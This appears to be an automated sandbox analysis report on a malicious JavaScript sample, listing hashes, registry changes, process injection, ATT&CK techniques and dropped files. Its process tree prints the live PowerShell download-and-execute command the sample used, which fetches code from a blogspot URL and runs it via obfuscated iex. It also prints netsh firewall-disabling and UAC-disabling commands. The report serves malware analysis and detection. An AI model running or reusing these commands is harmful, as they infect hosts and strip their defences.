Analysis
- max time kernel
143s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
08/01/2024, 01:09
Static task
static1
Behavioral task
behavioral1
Sample
3ea81c292f36f2583d2291e8a393014da62767447dba7b139a6c45574647aa2b.js
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
3ea81c292f36f2583d2291e8a393014da62767447dba7b139a6c45574647aa2b.js
Resource
win10v2004-20231215-en
General
- Target 3ea81c292f36f2583d2291e8a393014da62767447dba7b139a6c45574647aa2b.js
- Size 116KB
- Sample240108-bhz2caheam
- SHA256 3ea81c292f36f2583d2291e8a393014da62767447dba7b139a6c45574647aa2b
- MD5 21d0aeadf942a9c42a0f48143af18bba
- SHA1 a1c7b79e09df8713c22c4b8f228af4869502719a
- SHA512 1e5472589584b31f533e8d021aeab5ddb5eeb23ebf278e736fd4a0cb5957f86c557c0648fa6aab508e162b87946368480501022139ea2175ccf46e1cc21258c3
- SSDEEP 96:/umTnP/I5Vrquo0wwyEJmnU6HAVkEyle+YQdgv5M:2InHO8uo0ww7mU6HAVkEyle+YQdgv5M
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" powershell.exe - Blocklisted process makes network request 2 IoCs
flow pid Process 10 440 powershell.exe 30 440 powershell.exe - Modifies Windows Firewall 1 TTPs 1 IoCs
pid Process 2368 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation wscript.exe - Registers COM server for autorun 1 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll" powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\chromeupdateri = "schtasks /run /tn chromeupdateri" powershell.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 99 api.ipify.org 100 api.ipify.org 101 ip-api.com - Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 440 set thread context of 4144 440 powershell.exe 111 PID 440 set thread context of 2032 440 powershell.exe 112 PID 440 set thread context of 3616 440 powershell.exe 114 - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp dw20.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dw20.exe - Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU dw20.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS dw20.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU dw20.exe - Modifies registry class 3 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} powershell.exe Key created \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\ = "C:\\IDontExist.dll" powershell.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 440 powershell.exe 440 powershell.exe 440 powershell.exe 440 powershell.exe 440 powershell.exe 440 powershell.exe 440 powershell.exe 440 powershell.exe 4144 RegSvcs.exe 4144 RegSvcs.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 440 powershell.exe Token: SeDebugPrivilege 4144 RegSvcs.exe Token: SeRestorePrivilege 2948 dw20.exe Token: SeBackupPrivilege 2948 dw20.exe Token: SeBackupPrivilege 2948 dw20.exe Token: SeBackupPrivilege 2948 dw20.exe Token: SeBackupPrivilege 2948 dw20.exe Token: SeBackupPrivilege 3528 dw20.exe Token: SeBackupPrivilege 3528 dw20.exe Token: SeIncreaseQuotaPrivilege 440 powershell.exe Token: SeSecurityPrivilege 440 powershell.exe Token: SeTakeOwnershipPrivilege 440 powershell.exe Token: SeLoadDriverPrivilege 440 powershell.exe Token: SeSystemProfilePrivilege 440 powershell.exe Token: SeSystemtimePrivilege 440 powershell.exe Token: SeProfSingleProcessPrivilege 440 powershell.exe Token: SeIncBasePriorityPrivilege 440 powershell.exe Token: SeCreatePagefilePrivilege 440 powershell.exe Token: SeBackupPrivilege 440 powershell.exe Token: SeRestorePrivilege 440 powershell.exe Token: SeShutdownPrivilege 440 powershell.exe Token: SeDebugPrivilege 440 powershell.exe Token: SeSystemEnvironmentPrivilege 440 powershell.exe Token: SeRemoteShutdownPrivilege 440 powershell.exe Token: SeUndockPrivilege 440 powershell.exe Token: SeManageVolumePrivilege 440 powershell.exe Token: 33 440 powershell.exe Token: 34 440 powershell.exe Token: 35 440 powershell.exe Token: 36 440 powershell.exe Token: SeIncreaseQuotaPrivilege 440 powershell.exe Token: SeSecurityPrivilege 440 powershell.exe Token: SeTakeOwnershipPrivilege 440 powershell.exe Token: SeLoadDriverPrivilege 440 powershell.exe Token: SeSystemProfilePrivilege 440 powershell.exe Token: SeSystemtimePrivilege 440 powershell.exe Token: SeProfSingleProcessPrivilege 440 powershell.exe Token: SeIncBasePriorityPrivilege 440 powershell.exe Token: SeCreatePagefilePrivilege 440 powershell.exe Token: SeBackupPrivilege 440 powershell.exe Token: SeRestorePrivilege 440 powershell.exe Token: SeShutdownPrivilege 440 powershell.exe Token: SeDebugPrivilege 440 powershell.exe Token: SeSystemEnvironmentPrivilege 440 powershell.exe Token: SeRemoteShutdownPrivilege 440 powershell.exe Token: SeUndockPrivilege 440 powershell.exe Token: SeManageVolumePrivilege 440 powershell.exe Token: 33 440 powershell.exe Token: 34 440 powershell.exe Token: 35 440 powershell.exe Token: 36 440 powershell.exe Token: SeIncreaseQuotaPrivilege 440 powershell.exe Token: SeSecurityPrivilege 440 powershell.exe Token: SeTakeOwnershipPrivilege 440 powershell.exe Token: SeLoadDriverPrivilege 440 powershell.exe Token: SeSystemProfilePrivilege 440 powershell.exe Token: SeSystemtimePrivilege 440 powershell.exe Token: SeProfSingleProcessPrivilege 440 powershell.exe Token: SeIncBasePriorityPrivilege 440 powershell.exe Token: SeCreatePagefilePrivilege 440 powershell.exe Token: SeBackupPrivilege 440 powershell.exe Token: SeRestorePrivilege 440 powershell.exe Token: SeShutdownPrivilege 440 powershell.exe Token: SeDebugPrivilege 440 powershell.exe - Suspicious use of WriteProcessMemory 38 IoCs
description pid Process procid_target PID 4068 wrote to memory of 440 4068 wscript.exe 88 PID 4068 wrote to memory of 440 4068 wscript.exe 88 PID 440 wrote to memory of 4396 440 powershell.exe 107 PID 440 wrote to memory of 4396 440 powershell.exe 107 PID 4396 wrote to memory of 4756 4396 csc.exe 108 PID 4396 wrote to memory of 4756 4396 csc.exe 108 PID 440 wrote to memory of 2368 440 powershell.exe 109 PID 440 wrote to memory of 2368 440 powershell.exe 109 PID 440 wrote to memory of 4144 440 powershell.exe 111 PID 440 wrote to memory of 4144 440 powershell.exe 111 PID 440 wrote to memory of 4144 440 powershell.exe 111 PID 440 wrote to memory of 4144 440 powershell.exe 111 PID 440 wrote to memory of 4144 440 powershell.exe 111 PID 440 wrote to memory of 4144 440 powershell.exe 111 PID 440 wrote to memory of 4144 440 powershell.exe 111 PID 440 wrote to memory of 4144 440 powershell.exe 111 PID 440 wrote to memory of 2032 440 powershell.exe 112 PID 440 wrote to memory of 2032 440 powershell.exe 112 PID 440 wrote to memory of 2032 440 powershell.exe 112 PID 440 wrote to memory of 2032 440 powershell.exe 112 PID 440 wrote to memory of 2032 440 powershell.exe 112 PID 440 wrote to memory of 2032 440 powershell.exe 112 PID 440 wrote to memory of 2032 440 powershell.exe 112 PID 440 wrote to memory of 2032 440 powershell.exe 112 PID 2032 wrote to memory of 2948 2032 RegSvcs.exe 113 PID 2032 wrote to memory of 2948 2032 RegSvcs.exe 113 PID 2032 wrote to memory of 2948 2032 RegSvcs.exe 113 PID 440 wrote to memory of 3616 440 powershell.exe 114 PID 440 wrote to memory of 3616 440 powershell.exe 114 PID 440 wrote to memory of 3616 440 powershell.exe 114 PID 440 wrote to memory of 3616 440 powershell.exe 114 PID 440 wrote to memory of 3616 440 powershell.exe 114 PID 440 wrote to memory of 3616 440 powershell.exe 114 PID 440 wrote to memory of 3616 440 powershell.exe 114 PID 440 wrote to memory of 3616 440 powershell.exe 114 PID 3616 wrote to memory of 3528 3616 Msbuild.exe 115 PID 3616 wrote to memory of 3528 3616 Msbuild.exe 115 PID 3616 wrote to memory of 3528 3616 Msbuild.exe 115
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\3ea81c292f36f2583d2291e8a393014da62767447dba7b139a6c45574647aa2b.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm htloctmain25.blogspot.com/////////////////////////atom.xml) | . ('i*x').replace('*','e');Start-Sleep -Seconds 52⤵
- UAC bypass
- Blocklisted process makes network request
- Registers COM server for autorun
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:440 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bmjk3fan\bmjk3fan.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:4396 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES823B.tmp" "c:\Users\Admin\AppData\Local\Temp\bmjk3fan\CSC3200B77E4BB74111AB3B87799353718B.TMP"4⤵PID:4756
-
-
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off -ErrorAction SilentlyContinue3⤵
- Modifies Windows Firewall
PID:2368
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4144
-
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2032 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7884⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:2948
-
-
-
C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:3616 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7804⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:3528
-
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\RES823B.tmp
- Size 1KB
- SHA256 49a959cf4a656b88db26ab2bd3db3205ca8b4d7228395e26a02201c2cbce921a
- MD5 b13703970909a54d6dd3876cf0116dc0
- SHA1 0e2e549f451964d0e835c93f8f884810fb303051
- SHA512 90cf91e348b5c43da1dd93739033422796bd15ae2cea63e5ca2d642d569c43b90ce340a462cecd365e80b30944b730672519971a9161d45fa0e42dd96e7da0e7
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2abfoobe.354.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\bmjk3fan\bmjk3fan.dll
- Size 3KB
- SHA256 7abc35d2d1cde6064925358b414bb5ff24881856101bfb86d7c258d975080958
- MD5 2b68dd8e5d54726de93d1d7b57e1b9a5
- SHA1 b72eacfbc4bb2a2e5b22fe6ff98b61a58e08e463
- SHA512 9e07a5fc606f2a2458e55e4fbc57e9b4632be2975ad60b55026f0fe9ae2f25259be2f56f4dee8ac24de20940713fb9fd438a37da6518086f400c3e4368f1b7a2
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\bmjk3fan\CSC3200B77E4BB74111AB3B87799353718B.TMP
- Size 652B
- SHA256 df7faa13aa370e39d7e6d46cc786ae63801013256c887bb9e73692601f39d5ac
- MD5 ea8fc5e1a409e456c88ebe84c547a428
- SHA1 e01b8d91e6b345d65765e45ddb0d9664a93e1803
- SHA512 002a7660dc366c10853db01412c94282a42fe208f50700bd029175bf92366936ea48396144818cafd61aef98dfffcd518557f2184036b98ad5312fdf50858d86
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\bmjk3fan\bmjk3fan.0.cs
- Size 870B
- SHA256 79c1099bad1dccb1d151887071b8e8b5d679de343903895fa28e45b791cae344
- MD5 e06ebf853695db38aaac82c9af297ae4
- SHA1 ef98bacec5ac2ae3bf24aac8ed56935a25c1f064
- SHA512 036449d932066d506a6bd7c08df311bf1ed5e7b3595004941fe1c39a8e9f9b0d08d43b33a180d4851f88d49c98a17b05cf5235858ada611306fc602cfd582759
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\bmjk3fan\bmjk3fan.cmdline
- Size 369B
- SHA256 00864a3f19b38a34ce6469d08656fb36e64d09fbefecb14c35827b1648862997
- MD5 eaaecbf3a3bd3936d4dff56441260108
- SHA1 f220a469e7e174aa2119c0d49a251dd95e029db9
- SHA512 d2826ceae8f7841b06c0ab042ca79b042fb191f6b46b97aa7144e6cf137c81882414a70c40cebc891e2cb1f0b8c48b53ca5e853abd15c24255811e8e8300f384
- MD5 SHA1 SHA512